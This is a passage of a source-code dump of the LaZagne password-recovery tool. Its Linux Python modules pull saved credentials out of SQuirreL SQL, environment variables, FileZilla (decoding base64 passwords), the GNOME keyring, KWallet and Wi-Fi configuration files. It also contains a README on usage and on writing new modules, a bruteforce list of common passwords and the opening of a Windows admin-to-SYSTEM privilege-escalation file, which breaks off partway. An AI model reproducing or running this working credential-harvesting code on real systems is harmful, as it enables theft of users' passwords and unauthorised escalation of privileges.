import Header 3 | from config.constant import * 4 | from config.write_output import print_debug, print_output 5 | from config.moduleInfo import ModuleInfo 6 | import os 7 | 8 | class Squirrel(ModuleInfo): 9 | def __init__(self): 10 | options = {'command': '-q', 'action': 'store_true', 'dest': 'squirrel', 'help': 'squirrel'} 11 | ModuleInfo.__init__(self, 'squirrel', 'database', options) 12 | 13 | def get_path(self): 14 | 15 | path = '~/.squirrel-sql' 16 | path = os.path.expanduser(path) 17 | 18 | if os.path.exists(path): 19 | return path 20 | else: 21 | return 'Not_Found' 22 | 23 | def parse_xml(self, xml_file): 24 | tree = ET.ElementTree(file=xml_file) 25 | pwdFound = [] 26 | for elem in tree.iter('Bean'): 27 | values = {} 28 | for e in elem: 29 | if e.tag == 'name': 30 | values['Name'] = e.text 31 | 32 | elif e.tag == 'url': 33 | values['URL'] = e.text 34 | 35 | elif e.tag == 'userName': 36 | values['UserName'] = e.text 37 | 38 | elif e.tag == 'password': 39 | values['Password'] = e.text 40 | 41 | if len(values): 42 | pwdFound.append(values) 43 | 44 | # print the results 45 | print_output('Squirrel', pwdFound) 46 | 47 | # Main function 48 | def run(self): 49 | # print the title 50 | Header().title_info('Squirrel') 51 | 52 | path = self.get_path() 53 | if path == 'Not_Found': 54 | print_debug('INFO', 'Squirrel not installed') 55 | 56 | else: 57 | path += os.sep + 'SQLAliases23.xml' 58 | if os.path.exists(path): 59 | self.parse_xml(path) 60 | else: 61 | print_debug('WARNING', 'xml file containing passwords has not be found') 62 | -------------------------------------------------------------------------------- /Linux/src/softwares/sysadmin/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Linux/src/softwares/sysadmin/env_variable.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | from config.header import Header 4 | from config.write_output import print_debug, print_output 5 | from config.moduleInfo import ModuleInfo 6 | 7 | class Env_variable(ModuleInfo): 8 | def __init__(self): 9 | options = {'command': '-e', 'action': 'store_true', 'dest': 'env', 'help': 'environment variables'} 10 | ModuleInfo.__init__(self, 'Environment variables', 'sysadmin', options) 11 | 12 | def run(self): 13 | values = {} 14 | pwdFound = [] 15 | 16 | # print the title 17 | Header().title_info('Environment variables') 18 | 19 | # --------- http_proxy -------- 20 | tmp = '' 21 | if 'http_proxy' in os.environ: 22 | tmp = 'http_proxy' 23 | elif 'HTTP_Proxy' in os.environ: 24 | tmp = 'HTTP_Proxy' 25 | 26 | if tmp: 27 | values["Variable"] = tmp 28 | values["Password"] = os.environ[tmp] 29 | pwdFound.append(values) 30 | 31 | # --------- https_proxy -------- 32 | tmp = '' 33 | if 'https_proxy' in os.environ: 34 | tmp = 'https_proxy' 35 | elif 'HTTPS_Proxy' in os.environ: 36 | tmp = 'HTTPS_Proxy' 37 | 38 | if tmp: 39 | values["Variable"] = tmp 40 | values["Password"] = os.environ[tmp] 41 | pwdFound.append(values) 42 | 43 | tab = ['passwd', 'pwd', 'pass', 'password'] 44 | for i in os.environ: 45 | for t in tab: 46 | if (t.upper() in i.upper()) and (i.upper() != 'PWD') and (i.upper() != 'OLDPWD'): 47 | values["Variable"] = i 48 | values["Password"] = os.environ[i] 49 | pwdFound.append(values) 50 | 51 | # write credentials into a text file 52 | if len(values) != 0: 53 | # print the results 54 | print_output('Environnement variables', pwdFound) 55 | 56 | else: 57 | print_debug('INFO', 'No passwords stored in the environment variables.') 58 | -------------------------------------------------------------------------------- /Linux/src/softwares/sysadmin/filezilla.py: -------------------------------------------------------------------------------- 1 | import xml.etree.cElementTree as ET 2 | from config.header import Header 3 | from config.write_output import print_debug, print_output 4 | from config.moduleInfo import ModuleInfo 5 | import os, base64 6 | 7 | class Filezilla(ModuleInfo): 8 | def __init__(self): 9 | options = {'command': '-f', 'action': 'store_true', 'dest': 'filezilla', 'help': 'filezilla'} 10 | ModuleInfo.__init__(self, 'filezilla', 'sysadmin', options) 11 | 12 | def run(self): 13 | # print the title 14 | Header().title_info('Filezilla') 15 | 16 | directory = '~/.filezilla' 17 | directory = os.path.expanduser(directory) 18 | 19 | interesting_xml_file = [] 20 | info_xml_file = [] 21 | if os.path.exists(os.path.join(directory, 'sitemanager.xml')): 22 | interesting_xml_file.append('sitemanager.xml') 23 | info_xml_file.append('Stores all saved sites server info including password in plaintext') 24 | 25 | if os.path.exists(os.path.join(directory, 'recentservers.xml')): 26 | interesting_xml_file.append('recentservers.xml') 27 | info_xml_file.append('Stores all recent server info including password in plaintext') 28 | 29 | if os.path.exists(os.path.join(directory, 'filezilla.xml')): 30 | interesting_xml_file.append('filezilla.xml') 31 | info_xml_file.append('Stores most recent server info including password in plaintext') 32 | 33 | if interesting_xml_file != []: 34 | print_debug('INFO', 'No login and password means anonymous connection') 35 | 36 | pwdFound = [] 37 | for i in range(len(interesting_xml_file)): 38 | print_debug('INFO', '%s: %s' % (interesting_xml_file[i], info_xml_file[i])) 39 | 40 | xml_file = os.path.expanduser(directory + os.sep + interesting_xml_file[i]) 41 | 42 | tree = ET.ElementTree(file=xml_file) 43 | root = tree.getroot() 44 | 45 | servers = root.getchildren() 46 | for ss in servers: 47 | server = ss.getchildren() 48 | 49 | jump_line = 0 50 | for s in server: 51 | s1 = s.getchildren() 52 | values = {} 53 | for s11 in s1: 54 | if s11.tag == 'Host': 55 | values['Host'] = s11.text 56 | 57 | if s11.tag == 'Port': 58 | values['Port'] = s11.text 59 | 60 | if s11.tag == 'User': 61 | values['Login'] = s11.text 62 | 63 | if s11.tag == 'Pass': 64 | try: 65 | # if base64 encoding 66 | if 'encoding' in s11.attrib: 67 | if s11.attrib['encoding'] == 'base64': 68 | values['Password'] = base64.b64decode(s11.text) 69 | else: 70 | values['Password'] = s11.text 71 | except: 72 | values['Password'] = s11.text 73 | 74 | # write credentials into a text file 75 | if len(values) != 0: 76 | pwdFound.append(values) 77 | # print the results 78 | print_output('Filezilla', pwdFound) 79 | else: 80 | print_debug('INFO', 'Filezilla not installed.') 81 | 82 | -------------------------------------------------------------------------------- /Linux/src/softwares/wallet/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Linux/src/softwares/wallet/gnome.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | from config.header import Header 4 | from config.write_output import print_debug, print_output 5 | from config.moduleInfo import ModuleInfo 6 | 7 | class Gnome(ModuleInfo): 8 | def __init__(self): 9 | options = {'command': '-g', 'action': 'store_true', 'dest': 'gnomeKeyring', 'help': 'Gnome Keyring'} 10 | ModuleInfo.__init__(self, 'gnomeKeyring', 'wallet', options) 11 | 12 | def run(self): 13 | # print the title 14 | Header().title_info('Gnome keyring') 15 | 16 | if os.getuid() == 0: 17 | print_debug('WARNING', 'Do not run it with root privileges)\n') 18 | return 19 | try: 20 | import gnomekeyring 21 | if len(gnomekeyring.list_keyring_names_sync()) > 0: 22 | 23 | pwdFound = [] 24 | for keyring in gnomekeyring.list_keyring_names_sync(): 25 | for id in gnomekeyring.list_item_ids_sync(keyring): 26 | values = {} 27 | item = gnomekeyring.item_get_info_sync(keyring, id) 28 | attr = gnomekeyring.item_get_attributes_sync(keyring, id) 29 | 30 | if attr: 31 | if item.get_display_name(): 32 | values["Item"] = item.get_display_name() 33 | 34 | if attr.has_key('server'): 35 | values["Server"] = attr['server'] 36 | 37 | if attr.has_key('protocol'): 38 | values["Protocol"] = attr['protocol'] 39 | 40 | if attr.has_key('unique'): 41 | values["Unique"] = attr['unique'] 42 | 43 | if attr.has_key('domain'): 44 | values["Domain"] = attr['domain'] 45 | 46 | if attr.has_key('origin_url'): 47 | values["Origin_url"] = attr['origin_url'] 48 | 49 | if attr.has_key('username_value'): 50 | values["Username"] = attr['username_value'] 51 | 52 | if attr.has_key('user'): 53 | values["Username"] = attr['user'] 54 | 55 | if item.get_secret(): 56 | values["Password"] = item.get_secret() 57 | 58 | # write credentials into a text file 59 | if len(values) != 0: 60 | pwdFound.append(values) 61 | # print the results 62 | print_output('Gnome keyring', pwdFound) 63 | else: 64 | print_debug('WARNING', 'The Gnome Keyring wallet is empty') 65 | except Exception,e: 66 | print_debug('ERROR', 'An error occurs with the Gnome Keyring wallet: {0}'.format(e)) 67 | 68 | -------------------------------------------------------------------------------- /Linux/src/softwares/wallet/kde.py: -------------------------------------------------------------------------------- 1 | ####################### 2 | # 3 | # By Quentin HARDY 4 | # 5 | ####################### 6 | 7 | import os, sys 8 | from config.header import Header 9 | from config.write_output import print_debug, print_output 10 | from config.moduleInfo import ModuleInfo 11 | 12 | class kde(ModuleInfo): 13 | def __init__(self): 14 | options = {'command': '-k', 'action': 'store_true', 'dest': 'kwallet', 'help': 'KWallet'} 15 | ModuleInfo.__init__(self, 'kwallet', 'wallet', options) 16 | 17 | def run(self): 18 | Header().title_info("KWallet") 19 | 20 | if os.getuid() == 0: 21 | print_debug('INFO', 'Do not run with root privileges)\n') 22 | return 23 | try: 24 | from PyKDE4.kdeui import KWallet 25 | from PyQt4.QtGui import QApplication 26 | pwdFound = [] 27 | app = QApplication([]) 28 | app.setApplicationName("KWallet") 29 | #Get the local wallet 30 | f = open(os.devnull, 'w') 31 | stdoutBackup = sys.stdout 32 | stderrBackup = sys.stderr 33 | sys.stdout = f 34 | sys.stderr = f 35 | wallet = KWallet.Wallet.openWallet(KWallet.Wallet.LocalWallet(), 0) 36 | #sys.stdout = stdoutBackup 37 | #sys.stderr = stderrBackup 38 | #Walk accros folders defined in the KWallet 39 | for folder in wallet.folderList(): 40 | wallet.setFolder(folder) 41 | entries = dict() 42 | #Get entries for this folder 43 | for entry in wallet.entryList(): 44 | values = {} 45 | entries[entry] = wallet.readEntry( entry ) 46 | values["Folder"] = folder 47 | values["Entry"] = entry 48 | values["Password"] = (entries[entry][1].toHex().data()).decode('hex').decode('utf-8')[5:] 49 | if len(values) != 0: 50 | pwdFound.append(values) 51 | # print the results 52 | print_output('Gnome keyring', pwdFound) 53 | except Exception,e: 54 | print_debug('ERROR', 'An error occurs with KWallet: {0}'.format(e)) 55 | 56 | -------------------------------------------------------------------------------- /Linux/src/softwares/wifi/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Linux/src/softwares/wifi/wifi.py: -------------------------------------------------------------------------------- 1 | from ConfigParser import RawConfigParser 2 | from config.header import Header 3 | from config.write_output import print_debug, print_output 4 | from config.moduleInfo import ModuleInfo 5 | import os 6 | 7 | class Wifi(ModuleInfo): 8 | def __init__(self): 9 | options = {'command': '-wi', 'action': 'store_true', 'dest': 'wifi', 'help': 'Network Manager - Need root Privileges'} 10 | ModuleInfo.__init__(self, 'wifi', 'wifi', options) 11 | 12 | def run(self): 13 | # print the title 14 | Header().title_info('Wifi (from Network Manager)') 15 | 16 | directory = '/etc/NetworkManager/system-connections' 17 | if os.path.exists(directory): 18 | if os.getuid() != 0: 19 | print_debug('INFO', 'You need more privileges (run it with sudo)\n') 20 | 21 | wireless_ssid = [ f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory,f))] 22 | 23 | pwdFound = [] 24 | for w in wireless_ssid: 25 | cp = RawConfigParser() 26 | cp.read(os.path.join(directory, w)) 27 | values = {} 28 | 29 | values['SSID'] = w 30 | if cp.sections(): 31 | for section in cp.sections(): 32 | if 'wireless' in section: 33 | for i in cp.items(section): 34 | values[i[0]] = i[1] 35 | 36 | # write credentials into a text file 37 | if len(values) != 0: 38 | pwdFound.append(values) 39 | 40 | # print the results 41 | print_output('Wifi', pwdFound) 42 | else: 43 | print_debug('WARNING', 'the path "%s" does not exist' %(directory)) 44 | -------------------------------------------------------------------------------- /Linux/src/softwares/wifi/wpa_supplicant.py: -------------------------------------------------------------------------------- 1 | ####################### 2 | # 3 | # By rpesche 4 | # 5 | ####################### 6 | 7 | from config.header import Header 8 | from config.write_output import print_debug, print_output 9 | from config.moduleInfo import ModuleInfo 10 | import re 11 | import os 12 | 13 | class Wpa_supplicant(ModuleInfo): 14 | 15 | filestr = '/etc/wpa_supplicant/wpa_supplicant.conf' 16 | 17 | def __init__(self): 18 | options = {'command': '-wp', 'action': 'store_true', 'dest': 'wpa_supplicant', 'help': 'WPA Supplicant - Need root Privileges'} 19 | ModuleInfo.__init__(self, 'wpa_supplicant', 'wifi', options) 20 | 21 | def parse_file_network(self, fd): 22 | password=None 23 | ssid=None 24 | 25 | for line in fd: 26 | if re.match('^[ \t]*ssid=', line): 27 | ssid=(line.split("\"")[1]) 28 | if re.match('^[ \t]*psk=', line): 29 | password=line.split("\"")[1] 30 | if re.match('^[ \t]*password=', line): 31 | password=line.split("\"")[1] 32 | if re.match('^[ \t]*}', line): 33 | return (ssid, password) 34 | 35 | def parse_file(self): 36 | pwdFound = [] 37 | 38 | fd = None 39 | try: 40 | fd = open(self.filestr) 41 | except Exception, e: 42 | print_debug('DEBUG', '{0}'.format(e)) 43 | print_debug('INFO', 'Could not open the file: %s ' % self.filestr) 44 | 45 | if fd: 46 | for line in fd: 47 | if "network=" in line: 48 | values = {} 49 | (ssid,password) = self.parse_file_network(fd) 50 | if ssid and password: 51 | values['PASSWORD'] = password 52 | values['SSID'] = ssid 53 | pwdFound.append(values) 54 | fd.close() 55 | return pwdFound; 56 | 57 | def check_file_access(self): 58 | if not os.path.exists(self.filestr): 59 | print_debug('WARNING', 'The path "%s" does not exist' %(self.filestr)) 60 | return -1 61 | return 0 62 | 63 | def run(self): 64 | Header().title_info('Wifi (from WPA Supplicant)') 65 | if self.check_file_access(): 66 | return 67 | 68 | # check root access 69 | if os.getuid() != 0: 70 | print_debug('INFO', 'You need more privileges (run it with sudo)\n') 71 | return 72 | 73 | pwdFound = self.parse_file() 74 | print_output("wpa_supplicant", pwdFound) 75 | -------------------------------------------------------------------------------- /Linux/standalone/32bits/LaZagne-32bits: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Linux/standalone/32bits/LaZagne-32bits -------------------------------------------------------------------------------- /Linux/standalone/64bits/LaZagne-64bits: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Linux/standalone/64bits/LaZagne-64bits -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | __The LaZagne Project !!!__ 3 | == 4 | 5 | Description 6 | ---- 7 | The __LaZagne project__ is an open source application used to __retrieve lots of passwords__ stored on a local computer. 8 | Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. 9 | At this moment, it supports 22 Programs on Microsoft Windows and 12 on a Linux/Unix-Like OS. 10 | 11 |

The LaZagne project

12 | 13 | 14 | Usage 15 | ---- 16 | * Launch all modules 17 | * cmd: laZagne.exe all 18 | 19 | * Launch only a specific module 20 | * cmd: laZagne.exe 21 | * example: laZagne.exe browsers 22 | * help: laZagne.exe -h 23 | 24 | * Launch only a specific software script 25 | * cmd: laZagne.exe 26 | * example: laZagne.exe browsers -f 27 | * help: laZagne.exe browsers -h 28 | 29 | * Write all passwords found into a file (-w options) 30 | * cmd: laZagne.exe all -w 31 | 32 | __Note: For wifi passwords \ Windows Secrets, launch it with administrator privileges (UAC Authentication / sudo)__ 33 | 34 | Supported software 35 | ---- 36 | 37 |

The LaZagne project

38 | 39 | (*) used by many tools to store passwords: Chrome, Owncloud, Evolution, KMail, etc. 40 | 41 | IE Browser history 42 | ---- 43 | Internet Explorer passwords (from IE7 and before Windows 8) can only be decrypted using the URL of the website. This one is used as an argument of the Win32CryptUnprotectData api. Thus, using the browsing history of ie will permit to decrypt many passwords. 44 | To do that, I used a dll written in C code (the code is in the "browser_history_dll" directory) and it is directly embedded to the Python code as a Base64 string (c.f. ie.py). Once launched, the dll is written on the disk, a wrapper is used to call dll functions and then the dll file is removed from the disk. 45 | 46 | Windows hashes 47 | ---- 48 | To dump windows hashes and LSA Secrets, the impacket library has been used: https://github.com/CoreSecurity/impacket 49 | 50 | Build your own password recovery script 51 | ---- 52 | It's possible to write your own script for the software of your choice. Building your own module has become extremely easy. 53 | 54 | To do that, some code standards are to be met: 55 | * Create a class using the name of the software containing 2 importants functions: 56 | * init: used to define all arguments used to launch the class. 57 | * run: will be the main function 58 | 59 | * Add on the config.manageModules.py file your class name and your import 60 | 61 | * The output containing all passwords has to be send to the "print_output" function - ex: print_output(software_name, password_list) 62 | * password_list has to be an array of dictionnaries. 63 | 64 | * Optional: you could use the function "print_debug" to print your output 65 | * ex: print_debug("ERROR", "Failed to load ...") 66 | 67 | * Use an existing script to understand what I have said :) 68 | 69 | If you want to improve this tool, you can send me your script and it will be added to this project (authors will be, of course, credited on each script ;)). 70 | 71 | Requirements 72 | ---- 73 | To compile the source code, some external libraries are required. 74 | 75 | * For Windows 76 | * Python 2.7 77 | * Colorama (for the Console colors): https://pypi.python.org/pypi/colorama 78 | * Python for Windows Extensions: http://sourceforge.net/projects/pywin32/ 79 | * PyCrypto: pip install pycrypto 80 | * Impacket (for Windows hashes + LSA Secrets): https://github.com/CoreSecurity/impacket 81 | * Pyasn1 (for ASN1 decoding): https://pypi.python.org/pypi/pyasn1/ 82 | 83 | * For Linux 84 | * Python 2.7 85 | * Argparse 86 | * PyCrypto: https://www.dlitz.net/software/pycrypto/ 87 | * Dbus (Pidgin) 88 | * Python-kde4 (Kwallet) 89 | * Pyasn1 (for ASN1 decoding): https://pypi.python.org/pypi/pyasn1/ 90 | 91 | ---- 92 | | __Alessandro ZANNI__ | 93 | | ------------- | 94 | | __alessandro.zanni@bt.com__ | 95 | | __zanni.alessandro@gmail.com__ | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/config/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/LaZagne/config/__init__.py -------------------------------------------------------------------------------- /Windows/src/LaZagne/config/constant.py: -------------------------------------------------------------------------------- 1 | 2 | class constant(): 3 | folder_name = 'results' 4 | MAX_HELP_POSITION = 27 5 | CURRENT_VERSION = 0.7 6 | output = None 7 | file_logger = None 8 | 9 | # jitsi options 10 | jitsi_masterpass = None 11 | 12 | # mozilla options 13 | isInteractive = False 14 | manually = None 15 | path = None 16 | bruteforce = None 17 | defaultpass = None 18 | specific_path = None 19 | mozilla_software = '' 20 | 21 | # ie options 22 | ie_historic = None 23 | 24 | # total password found 25 | nbPasswordFound = 0 26 | passwordFound = [] 27 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/config/dico.py: -------------------------------------------------------------------------------- 1 | 2 | def get_dico(): 3 | return [ 4 | "password", 5 | "123456", 6 | "12345678", 7 | "1234", 8 | "qwerty", 9 | "12345", 10 | "dragon", 11 | "pussy", 12 | "baseball", 13 | "football", 14 | "letmein", 15 | "monkey", 16 | "696969", 17 | "abc123", 18 | "mustang", 19 | "michael", 20 | "shadow", 21 | "master", 22 | "jennifer", 23 | "111111", 24 | "2000", 25 | "jordan", 26 | "superman", 27 | "harley", 28 | "1234567", 29 | "fuckme", 30 | "hunter", 31 | "fuckyou", 32 | "trustno1", 33 | "ranger", 34 | "buster", 35 | "thomas", 36 | "tigger", 37 | "robert", 38 | "soccer", 39 | "fuck", 40 | "batman", 41 | "test", 42 | "pass", 43 | "killer", 44 | "hockey", 45 | "george", 46 | "charlie", 47 | "andrew", 48 | "michelle", 49 | "love", 50 | "sunshine", 51 | "jessica", 52 | "asshole", 53 | "6969", 54 | "pepper", 55 | "daniel", 56 | "access", 57 | "123456789", 58 | "654321", 59 | "joshua", 60 | "maggie", 61 | "starwars", 62 | "silver", 63 | "william", 64 | "dallas", 65 | "yankees", 66 | "123123", 67 | "ashley", 68 | "666666", 69 | "hello", 70 | "amanda", 71 | "orange", 72 | "biteme", 73 | "freedom", 74 | "computer", 75 | "sexy", 76 | "thunder", 77 | "nicole", 78 | "ginger", 79 | "heather", 80 | "hammer", 81 | "summer", 82 | "corvette", 83 | "taylor", 84 | "fucker", 85 | "austin", 86 | "1111", 87 | "merlin", 88 | "matthew", 89 | "121212", 90 | "golfer", 91 | "cheese", 92 | "princess", 93 | "martin", 94 | "chelsea", 95 | "patrick", 96 | "richard", 97 | "diamond", 98 | "yellow", 99 | "bigdog", 100 | "secret", 101 | "asdfgh", 102 | "sparky", 103 | "cowboy", 104 | "camaro", 105 | "anthony", 106 | "matrix", 107 | "falcon", 108 | "iloveyou", 109 | "bailey", 110 | "guitar", 111 | "jackson", 112 | "purple", 113 | "scooter", 114 | "phoenix", 115 | "aaaaaa", 116 | "morgan", 117 | "tigers", 118 | "porsche", 119 | "mickey", 120 | "maverick", 121 | "cookie", 122 | "nascar", 123 | "peanut", 124 | "justin", 125 | "131313", 126 | "money", 127 | "horny", 128 | "samantha", 129 | "panties", 130 | "steelers", 131 | "joseph", 132 | "snoopy", 133 | "boomer", 134 | "whatever", 135 | "iceman", 136 | "smokey", 137 | "gateway", 138 | "dakota", 139 | "cowboys", 140 | "eagles", 141 | "chicken", 142 | "dick", 143 | "black", 144 | "zxcvbn", 145 | "please", 146 | "andrea", 147 | "ferrari", 148 | "knight", 149 | "hardcore", 150 | "melissa", 151 | "compaq", 152 | "coffee", 153 | "booboo", 154 | "bitch", 155 | "johnny", 156 | "bulldog", 157 | "xxxxxx", 158 | "welcome", 159 | "james", 160 | "player", 161 | "ncc1701", 162 | "wizard", 163 | "scooby", 164 | "charles", 165 | "junior", 166 | "internet", 167 | "bigdick", 168 | "mike", 169 | "brandy", 170 | "tennis", 171 | "blowjob", 172 | "banana", 173 | "monster", 174 | "spider", 175 | "lakers", 176 | "miller", 177 | "rabbit", 178 | "enter", 179 | "mercedes", 180 | "brandon", 181 | "steven", 182 | "fender", 183 | "john", 184 | "yamaha", 185 | "diablo", 186 | "chris", 187 | "boston", 188 | "tiger", 189 | "marine", 190 | "chicago", 191 | "rangers", 192 | "gandalf", 193 | "winter", 194 | "bigtits", 195 | "barney", 196 | "edward", 197 | "raiders", 198 | "porn", 199 | "badboy", 200 | "blowme", 201 | "spanky", 202 | "bigdaddy", 203 | "johnson", 204 | "chester", 205 | "london", 206 | "midnight", 207 | "blue", 208 | "fishing", 209 | "000000", 210 | "hannah", 211 | "slayer", 212 | "11111111", 213 | "rachel", 214 | "sexsex", 215 | "redsox", 216 | "thx1138", 217 | "asdf", 218 | "marlboro", 219 | "panther", 220 | "zxcvbnm", 221 | "arsenal", 222 | "oliver", 223 | "qazwsx", 224 | "mother", 225 | "victoria", 226 | "7777777", 227 | "jasper", 228 | "angel", 229 | "david", 230 | "winner", 231 | "crystal", 232 | "golden", 233 | "butthead", 234 | "viking", 235 | "jack", 236 | "iwantu", 237 | "shannon", 238 | "murphy", 239 | "angels", 240 | "prince", 241 | "cameron", 242 | "girls", 243 | "madison", 244 | "wilson", 245 | "carlos", 246 | "hooters", 247 | "willie", 248 | "startrek", 249 | "captain", 250 | "maddog", 251 | "jasmine", 252 | "butter", 253 | "booger", 254 | "angela", 255 | "golf", 256 | "lauren", 257 | "rocket", 258 | "tiffany", 259 | "theman", 260 | "dennis", 261 | "liverpoo", 262 | "flower", 263 | "forever", 264 | "green", 265 | "jackie", 266 | "muffin", 267 | "turtle", 268 | "sophie", 269 | "danielle", 270 | "redskins", 271 | "toyota", 272 | "jason", 273 | "sierra", 274 | "winston", 275 | "debbie", 276 | "giants", 277 | "packers", 278 | "newyork", 279 | "jeremy", 280 | "casper", 281 | "bubba", 282 | "112233", 283 | "sandra", 284 | "lovers", 285 | "mountain", 286 | "united", 287 | "cooper", 288 | "driver", 289 | "tucker", 290 | "helpme", 291 | "fucking", 292 | "pookie", 293 | "lucky", 294 | "maxwell", 295 | "8675309", 296 | "bear", 297 | "suckit", 298 | "gators", 299 | "5150", 300 | "222222", 301 | "shithead", 302 | "fuckoff", 303 | "jaguar", 304 | "monica", 305 | "fred", 306 | "happy", 307 | "hotdog", 308 | "tits", 309 | "gemini", 310 | "lover", 311 | "xxxxxxxx", 312 | "777777", 313 | "canada", 314 | "nathan", 315 | "victor", 316 | "florida", 317 | "88888888", 318 | "nicholas", 319 | "rosebud", 320 | "metallic", 321 | "doctor", 322 | "trouble", 323 | "success", 324 | "stupid", 325 | "tomcat", 326 | "warrior", 327 | "peaches", 328 | "apples", 329 | "fish", 330 | "qwertyui", 331 | "magic", 332 | "buddy", 333 | "dolphins", 334 | "rainbow", 335 | "gunner", 336 | "987654", 337 | "freddy", 338 | "alexis", 339 | "braves", 340 | "cock", 341 | "2112", 342 | "1212", 343 | "cocacola", 344 | "xavier", 345 | "dolphin", 346 | "testing", 347 | "bond007", 348 | "member", 349 | "calvin", 350 | "voodoo", 351 | "7777", 352 | "samson", 353 | "alex", 354 | "apollo", 355 | "fire", 356 | "tester", 357 | "walter", 358 | "beavis", 359 | "voyager", 360 | "peter", 361 | "porno", 362 | "bonnie", 363 | "rush2112", 364 | "beer", 365 | "apple", 366 | "scorpio", 367 | "jonathan", 368 | "skippy", 369 | "sydney", 370 | "scott", 371 | "red123", 372 | "power", 373 | "gordon", 374 | "travis", 375 | "beaver", 376 | "star", 377 | "jackass", 378 | "flyers", 379 | "boobs", 380 | "232323", 381 | "zzzzzz", 382 | "steve", 383 | "rebecca", 384 | "scorpion", 385 | "doggie", 386 | "legend", 387 | "ou812", 388 | "yankee", 389 | "blazer", 390 | "bill", 391 | "runner", 392 | "birdie", 393 | "bitches", 394 | "555555", 395 | "parker", 396 | "topgun", 397 | "asdfasdf", 398 | "heaven", 399 | "viper", 400 | "animal", 401 | "2222", 402 | "bigboy", 403 | "4444", 404 | "arthur", 405 | "baby", 406 | "private", 407 | "godzilla", 408 | "donald", 409 | "williams", 410 | "lifehack", 411 | "phantom", 412 | "dave", 413 | "rock", 414 | "august", 415 | "sammy", 416 | "cool", 417 | "brian", 418 | "platinum", 419 | "jake", 420 | "bronco", 421 | "paul", 422 | "mark", 423 | "frank", 424 | "heka6w2", 425 | "copper", 426 | "billy", 427 | "cumshot", 428 | "garfield", 429 | "willow", 430 | "cunt", 431 | "little", 432 | "carter", 433 | "slut", 434 | "albert", 435 | "69696969", 436 | "kitten", 437 | "super", 438 | "jordan23", 439 | "eagle1", 440 | "shelby", 441 | "america", 442 | "11111", 443 | "jessie", 444 | "house", 445 | "free", 446 | "123321", 447 | "chevy", 448 | "bullshit", 449 | "white", 450 | "broncos", 451 | "horney", 452 | "surfer", 453 | "nissan", 454 | "999999", 455 | "saturn", 456 | "airborne", 457 | "elephant", 458 | "marvin", 459 | "shit", 460 | "action", 461 | "adidas", 462 | "qwert", 463 | "kevin", 464 | "1313", 465 | "explorer", 466 | "walker", 467 | "police", 468 | "christin", 469 | "december", 470 | "benjamin", 471 | "wolf", 472 | "sweet", 473 | "therock", 474 | "king", 475 | "online", 476 | "dickhead", 477 | "brooklyn", 478 | "teresa", 479 | "cricket", 480 | "sharon", 481 | "dexter", 482 | "racing", 483 | "penis", 484 | "gregory", 485 | "0000", 486 | "teens", 487 | "redwings", 488 | "dreams", 489 | "michigan", 490 | "hentai", 491 | "magnum", 492 | "87654321", 493 | "nothing", 494 | "donkey", 495 | "trinity", 496 | "digital", 497 | "333333", 498 | "stella", 499 | "cartman", 500 | "guinness", 501 | "123abc", 502 | "speedy", 503 | "buffalo", 504 | "kitty"] 505 | 506 | -------------------------------------------------------------------------------- /Windows/src/LaZagne/config/get_system_priv.py: -------------------------------------------------------------------------------- 1 | # Thanks to Alex. http://zwclose7.createaforum.com/malware-and-hacking/%28python%29-admin-to-system-privilege-escalation/ 2 | import sys, os 3 | from ctypes import * 4 | 5 | LPVOID = c_void_p 6 | PVOID = LPVOID 7 | PSID = PVOID 8 | DWORD = c_uint32 9 | LPSTR = c_char_p 10 | HANDLE = LPVOID 11 | INVALID_HANDLE_VALUE = c_void_p(-1).value 12 | LONG = c_long 13 | WORD = c_uint16 14 | 15 | READ_CONTROL = 0x00020000L 16 | STANDARD_RIGHTS_READ = READ_CONTROL 17 | STANDARD_RIGHTS_REQUIRED = 0x000F0000L 18 | 19 | TOKEN_ASSIGN_PRIMARY = 0x0001 20 | TOKEN_DUPLICATE = 0x0002 21 | TOKEN_IMPERSONATE = 0x0004 22 | TOKEN_QUERY = 0x0008 23 | TOKEN_QUERY_SOURCE = 0x0010 24 | TOKEN_ADJUST_PRIVILEGES = 0x0020 25 | TOKEN_ADJUST_GROUPS = 0x0040 26 | TOKEN_ADJUST_DEFAULT = 0x0080 27 | TOKEN_ADJUST_SESSIONID = 0x0100 28 | TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) 29 | tokenprivs = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072L | 4)) 30 | TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | 31 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | 32 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | 33 | TOKEN_ADJUST_SESSIONID) 34 | 35 | PROCESS_QUERY_INFORMATION = 0x0400 36 | 37 | class LUID(Structure): 38 | _fields_ = [ 39 | ("LowPart", DWORD), 40 | ("HighPart", LONG), 41 | ] 42 | 43 | class SID_AND_ATTRIBUTES(Structure): 44 | _fields_ = [ 45 | ("Sid", PSID), 46 | ("Attributes", DWORD), 47 | ] 48 | 49 | class TOKEN_USER(Structure): 